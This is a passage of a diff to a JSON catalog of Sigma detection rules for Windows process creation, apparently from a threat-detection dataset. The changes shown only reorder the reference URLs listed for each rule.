"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" ], "tags": [ "attack.command_and_control", @@ -46585,9 +46583,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/child-processes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml", "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" + "https://redcanary.com/blog/child-processes/" ], "tags": [ "attack.execution", @@ -46635,8 +46633,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery" ], "tags": [ "attack.discovery", @@ -46659,8 +46657,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml", + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" ], "tags": [ "attack.persistence", @@ -46684,8 +46682,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" ], "tags": [ @@ -46733,10 +46731,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", + "https://twitter.com/nao_sec/status/1530196847679401984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" ], "tags": [ @@ -46761,11 +46759,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml", "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", - "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", - "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", + "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files" ], "tags": [ "attack.defense_evasion", @@ -46835,11 +46833,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://adsecurity.org/?p=2604", - "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/" ], "tags": [ "attack.execution", @@ -46862,9 +46860,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml", "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" ], "tags": [ "attack.impact", @@ -46913,8 +46911,8 @@ "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/" ], "tags": [ "attack.credential_access", @@ -46940,15 +46938,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/Neo23x0/Raccine#the-process", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://blog.talosintelligence.com/2017/05/wannacry.html", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/Neo23x0/Raccine#the-process", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", - "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" ], "tags": [ @@ -46974,8 +46972,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/SharpUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml", + "https://github.com/GhostPack/SharpUp" ], "tags": [ "attack.privilege_escalation", @@ -47000,9 +46998,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml", "https://github.com/shantanu561993/SharpChisel", - "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/" ], "tags": [ "attack.command_and_control", @@ -47078,8 +47076,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml", + "https://github.com/byt3bl33d3r/SILENTTRINITY" ], "tags": [ "attack.command_and_control", @@ -47102,9 +47100,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" + "https://github.com/harleyQu1nn/AggressorScripts" ], "tags": [ "attack.discovery", @@ -47127,9 +47125,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml", "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md" ], "tags": [ "attack.collection", @@ -47152,8 +47150,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml", + "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation" ], "tags": [ "attack.credential_access", @@ -47177,8 +47175,8 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml", + "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html" ], "tags": [ "attack.collection", @@ -47225,8 +47223,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml", + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" ], "tags": [ "attack.privilege_escalation", @@ -47253,8 +47251,8 @@ "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf" ], "tags": [ "attack.t1546.008", @@ -47277,8 +47275,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://twitter.com/eral4m/status/1451112385041911809", + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" ], "tags": [ @@ -47302,11 +47300,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml", "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", - "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" + "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", + "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/" ], "tags": [ "attack.defense_evasion" @@ -47328,8 +47326,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/3proxy/3proxy", "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/3proxy/3proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" ], "tags": [ @@ -47425,8 +47423,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml", + "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/" ], "tags": [ "attack.persistence", @@ -47452,10 +47450,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" + "https://www.joeware.net/freetools/tools/adfind/" ], "tags": [ "attack.discovery", @@ -47478,13 +47476,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://www.joeware.net/freetools/tools/adfind/" ], "tags": [ "attack.discovery", @@ -47510,8 +47508,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump" ], "tags": [ "attack.discovery", @@ -47535,9 +47533,9 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/splinter_code/status/1483815103279603714", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" ], "tags": "No established tags" @@ -47559,9 +47557,9 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/splinter_code/status/1483815103279603714", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" ], "tags": "No established tags" @@ -47582,8 +47580,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ @@ -47633,8 +47631,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" ], "tags": [ @@ -47658,9 +47656,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", - "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" + "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2" ], "tags": [ "attack.defense_evasion", @@ -47685,9 +47683,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml", "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/" ], "tags": [ "attack.execution", @@ -47713,8 +47711,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml", + "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps" ], "tags": [ "attack.exfiltration", @@ -47790,10 +47788,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml", "https://twitter.com/nas_bench/status/1534957360032120833", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml" + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/" ], "tags": [ "attack.execution", @@ -47819,11 +47817,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/835149808817991680", - "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", - "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", - "https://twitter.com/egre55/status/1087685529016193025", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://twitter.com/JohnLaTwC/status/835149808817991680", + "https://twitter.com/egre55/status/1087685529016193025", + "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", + "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" ], "tags": [ @@ -47856,9 +47854,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" ], "tags": [ "attack.defense_evasion", @@ -47881,9 +47879,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" ], "tags": [ "attack.defense_evasion", @@ -47906,11 +47904,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://github.com/antonioCoco/RogueWinRM", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml", + "https://github.com/antonioCoco/RogueWinRM" ], "tags": [ "attack.privilege_escalation", @@ -47958,11 +47956,11 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/vysecurity/status/885545634958385153", - "https://twitter.com/Hexacorn/status/885553465417756673", - "https://twitter.com/Hexacorn/status/885570278637678592", "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml", + "https://twitter.com/Hexacorn/status/885570278637678592" ], "tags": [ "attack.defense_evasion", @@ -47985,8 +47983,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Kostastsale/status/1565257924204986369", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml", + "https://twitter.com/Kostastsale/status/1565257924204986369" ], "tags": [ "attack.defense_evasion", @@ -48061,10 +48059,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml", "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" ], "tags": [ "attack.impact", @@ -48087,9 +48085,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml", "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp" ], "tags": [ "attack.discovery", @@ -48112,9 +48110,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml", "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", - "https://twitter.com/cglyer/status/1183756892952248325", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" + "https://twitter.com/cglyer/status/1183756892952248325" ], "tags": [ "attack.t1036", @@ -48137,8 +48135,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml", + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" ], "tags": "No established tags" }, @@ -48158,8 +48156,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1184067445612535811", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml", + 